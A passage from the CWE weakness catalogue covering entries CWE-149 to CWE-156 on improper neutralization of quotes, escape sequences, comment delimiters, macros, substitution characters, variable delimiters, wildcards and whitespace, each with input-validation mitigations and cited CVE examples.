MemberOf	<b>C</b>	990	SFP Secondary Cluster: Tainted Input to Command	888	2206

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Input Leader
Software Fault Patterns	SFP24		Tainted input to command

## CWE-149: Improper Neutralization of Quoting Syntax

**Weakness ID :** 149

**Structure :** Simple

**Abstraction :** Variant

### Description

Quotes injected into a product can be used to compromise a system. As data are parsed, an injected/absent/duplicate/malformed use of quotes may cause the process to take unexpected actions.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	<b>C</b>	138	Improper Neutralization of Special Elements	357

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Potential Mitigations

Developers should anticipate that quotes will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related

fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Phase: Implementation

*Strategy = Output Encoding*

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

#### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

#### Observed Examples

Reference	Description
<b>CVE-2004-0956</b>	Database allows remote attackers to cause a denial of service (application crash) via a MATCH AGAINST query with an opening double quote but no closing double quote. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0956">https://www.cve.org/CVERecord?id=CVE-2004-0956</a>
<b>CVE-2003-1016</b>	MIE. MFV too? bypass AV/security with fields that should not be quoted, duplicate quotes, missing leading/trailing quotes. <a href="https://www.cve.org/CVERecord?id=CVE-2003-1016">https://www.cve.org/CVERecord?id=CVE-2003-1016</a>

#### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206

#### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Quoting Element
Software Fault Patterns	SFP24		Tainted input to command

#### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
468	Generic Cross-Browser Cross-Domain Theft

## CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences

**Weakness ID** : 150**Structure** : Simple**Abstraction** : Variant

## Description

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as escape, meta, or control character sequences when they are sent to a downstream component.


## Extended Description

As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		138	Improper Neutralization of Special Elements	357

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2226

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

## Potential Mitigations

Developers should anticipate that escape, meta and control characters/sequences will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Phase: Implementation

*Strategy = Output Encoding*

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

**Phase: Implementation***Strategy = Input Validation*



Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

**Observed Examples**

Reference	Description
<b>CVE-2002-0542</b>	The mail program processes special "~" escape sequence even when not in interactive mode. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0542">https://www.cve.org/CVERecord?id=CVE-2002-0542</a>
<b>CVE-2000-0703</b>	Setuid program does not filter escape sequences before calling mail program. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0703">https://www.cve.org/CVERecord?id=CVE-2000-0703</a>
<b>CVE-2002-0986</b>	Mail function does not filter control characters from arguments, allowing mail message content to be modified. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0986">https://www.cve.org/CVERecord?id=CVE-2002-0986</a>
<b>CVE-2003-0020</b>	Multi-channel issue. Terminal escape sequences not filtered from log files. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0020">https://www.cve.org/CVERecord?id=CVE-2003-0020</a>
<b>CVE-2003-0083</b>	Multi-channel issue. Terminal escape sequences not filtered from log files. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0083">https://www.cve.org/CVERecord?id=CVE-2003-0083</a>
<b>CVE-2003-0021</b>	Terminal escape sequences not filtered by terminals when displaying files. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0021">https://www.cve.org/CVERecord?id=CVE-2003-0021</a>
<b>CVE-2003-0022</b>	Terminal escape sequences not filtered by terminals when displaying files. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0022">https://www.cve.org/CVERecord?id=CVE-2003-0022</a>
<b>CVE-2003-0023</b>	Terminal escape sequences not filtered by terminals when displaying files. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0023">https://www.cve.org/CVERecord?id=CVE-2003-0023</a>
<b>CVE-2003-0063</b>	Terminal escape sequences not filtered by terminals when displaying files. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0063">https://www.cve.org/CVERecord?id=CVE-2003-0063</a>
<b>CVE-2000-0476</b>	Terminal escape sequences not filtered by terminals when displaying files. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0476">https://www.cve.org/CVERecord?id=CVE-2000-0476</a>
<b>CVE-2001-1556</b>	MFV. (multi-channel). Injection of control characters into log files that allow information hiding when using raw Unix programs to read the files. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1556">https://www.cve.org/CVERecord?id=CVE-2001-1556</a>

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		845	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)	844	2155
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206

Nature	Type	ID	Name	V	Page
MemberOf	C	1134	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)		1133 2237

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Escape, Meta, or Control Character / Sequence
The CERT Oracle Secure Coding Standard for Java (2011)	IDS03-J		Do not log unsanitized user input
Software Fault Patterns	SFP24		Tainted input to command

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
41	Using Meta-characters in E-mail Headers to Inject Malicious Payloads
81	Web Server Logs Tampering
93	Log Injection-Tampering-Forging
134	Email Injection

## CWE-151: Improper Neutralization of Comment Delimiters

**Weakness ID :** 151

**Structure :** Simple

**Abstraction :** Variant

### Description

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as comment delimiters when they are sent to a downstream component.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	G	138	Improper Neutralization of Special Elements	357

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Potential Mitigations

Developers should anticipate that comments will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

**Phase: Implementation**

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Phase: Implementation***Strategy = Output Encoding*

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

**Phase: Implementation***Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

**Observed Examples**

Reference	Description
<b>CVE-2002-0001</b>	Mail client command execution due to improperly terminated comment in address list. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0001">https://www.cve.org/CVERecord?id=CVE-2002-0001</a>
<b>CVE-2004-0162</b>	MIE. RFC822 comment fields may be processed as other fields by clients. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0162">https://www.cve.org/CVERecord?id=CVE-2004-0162</a>
<b>CVE-2004-1686</b>	Well-placed comment bypasses security warning. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1686">https://www.cve.org/CVERecord?id=CVE-2004-1686</a>
<b>CVE-2005-1909</b>	Information hiding using a manipulation involving injection of comment code into product. Note: these vulnerabilities are likely vulnerable to more general XSS problems, although a regexp might allow ">!--" while denying most other tags. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1909">https://www.cve.org/CVERecord?id=CVE-2005-1909</a>
<b>CVE-2005-1969</b>	Information hiding using a manipulation involving injection of comment code into product. Note: these vulnerabilities are likely vulnerable to more general XSS problems, although a regexp might allow "<!--" while denying most other tags. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1969">https://www.cve.org/CVERecord?id=CVE-2005-1969</a>

**MemberOf Relationships**



This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Comment Element
Software Fault Patterns	SFP24		Tainted input to command

## CWE-152: Improper Neutralization of Macro Symbols

**Weakness ID :** 152

**Structure :** Simple

**Abstraction :** Variant

### Description

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as macro symbols when they are sent to a downstream component.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		138	Improper Neutralization of Special Elements	357

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

Developers should anticipate that macro symbols will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related

fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Phase: Implementation

*Strategy = Output Encoding*

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### Observed Examples

Reference	Description
<b>CVE-2002-0770</b>	Server trusts client to expand macros, allows macro characters to be expanded to trigger resultant information exposure. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0770">https://www.cve.org/CVERecord?id=CVE-2002-0770</a>
<b>CVE-2008-2018</b>	Attacker can obtain sensitive information from a database by using a comment containing a macro, which inserts the data during expansion. <a href="https://www.cve.org/CVERecord?id=CVE-2008-2018">https://www.cve.org/CVERecord?id=CVE-2008-2018</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206

### Notes

#### Research Gap

Under-studied.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Macro Symbol
Software Fault Patterns	SFP24		Tainted input to command

## CWE-153: Improper Neutralization of Substitution Characters

**Weakness ID** : 153

**Structure** : Simple

**Abstraction** : Variant


### Description

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as substitution characters when they are sent to a downstream component.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		138	Improper Neutralization of Special Elements	357

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Potential Mitigations

Developers should anticipate that substitution characters will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Phase: Implementation

*Strategy = Output Encoding*

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space,

wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### Observed Examples

Reference	Description
<b>CVE-2002-0770</b>	Server trusts client to expand macros, allows macro characters to be expanded to trigger resultant information exposure. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0770">https://www.cve.org/CVERecord?id=CVE-2002-0770</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206

### Notes

#### Research Gap

Under-studied.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Substitution Character
Software Fault Patterns	SFP24		Tainted input to command

## CWE-154: Improper Neutralization of Variable Name Delimiters

**Weakness ID** : 154

**Structure** : Simple

**Abstraction** : Variant

### Description

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as variable name delimiters when they are sent to a downstream component.

### Extended Description

As data is parsed, an injected delimiter may cause the process to take unexpected actions that result in an attack. Example: "\$" for an environment variable.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		138	Improper Neutralization of Special Elements	357

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Potential Mitigations

Developers should anticipate that variable name delimiters will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Phase: Implementation

*Strategy = Output Encoding*

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

#### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### Observed Examples

Reference	Description
<b>CVE-2005-0129</b>	"%" variable is expanded by wildcard function into disallowed commands. <a href="https://www.cve.org/CVERecord?id=CVE-2005-0129">https://www.cve.org/CVERecord?id=CVE-2005-0129</a>
<b>CVE-2002-0770</b>	Server trusts client to expand macros, allows macro characters to be expanded to trigger resultant information exposure. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0770">https://www.cve.org/CVERecord?id=CVE-2002-0770</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206

## Notes

### Research Gap

Under-studied.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Variable Name Delimiter
Software Fault Patterns	SFP24		Tainted input to command

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
15	Command Delimiters

## CWE-155: Improper Neutralization of Wildcards or Matching Symbols

**Weakness ID :** 155

**Structure :** Simple

**Abstraction :** Variant

## Description

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as wildcards or matching symbols when they are sent to a downstream component.

## Extended Description

As data is parsed, an injected element may cause the process to take unexpected actions.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		138	Improper Neutralization of Special Elements	357
ParentOf		56	Path Equivalence: 'filedir*' (Wildcard)	104

## Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

## Potential Mitigations



Developers should anticipate that wildcard or matching elements will be injected/removed/ manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Phase: Implementation

*Strategy = Output Encoding*

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### Observed Examples

Reference	Description
<b>CVE-2002-0433</b>	Bypass file restrictions using wildcard character. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0433">https://www.cve.org/CVERecord?id=CVE-2002-0433</a>
<b>CVE-2002-1010</b>	Bypass file restrictions using wildcard character. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1010">https://www.cve.org/CVERecord?id=CVE-2002-1010</a>
<b>CVE-2001-0334</b>	Wildcards generate long string on expansion. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0334">https://www.cve.org/CVERecord?id=CVE-2001-0334</a>
<b>CVE-2004-1962</b>	SQL injection involving "/"**/" sequences. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1962">https://www.cve.org/CVERecord?id=CVE-2004-1962</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206

## Notes

### Research Gap

Under-studied.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Wildcard or Matching Element
Software Fault Patterns	SFP24		Tainted input to command

## CWE-156: Improper Neutralization of Whitespace

**Weakness ID** : 156

**Structure** : Simple

**Abstraction** : Variant

### Description

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as whitespace when they are sent to a downstream component.

### Extended Description

This can include space, tab, etc.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		138	Improper Neutralization of Special Elements	357

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Alternate Terms

**White space** :

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Potential Mitigations

Developers should anticipate that whitespace will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the

full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Phase: Implementation

*Strategy = Output Encoding*

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### Observed Examples

Reference	Description
<b>CVE-2002-0637</b>	MIE. virus protection bypass with RFC violations involving extra whitespace, or missing whitespace. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0637">https://www.cve.org/CVERecord?id=CVE-2002-0637</a>
<b>CVE-2004-0942</b>	CPU consumption with MIME headers containing lines with many space characters, probably due to algorithmic complexity (RESOURCE.AMP.ALG). <a href="https://www.cve.org/CVERecord?id=CVE-2004-0942">https://www.cve.org/CVERecord?id=CVE-2004-0942</a>
<b>CVE-2003-1015</b>	MIE. whitespace interpreted differently by mail clients. <a href="https://www.cve.org/CVERecord?id=CVE-2003-1015">https://www.cve.org/CVERecord?id=CVE-2003-1015</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206

### Notes

#### Relationship

Can overlap other separator characters or delimiters.

### Taxonomy Mappings

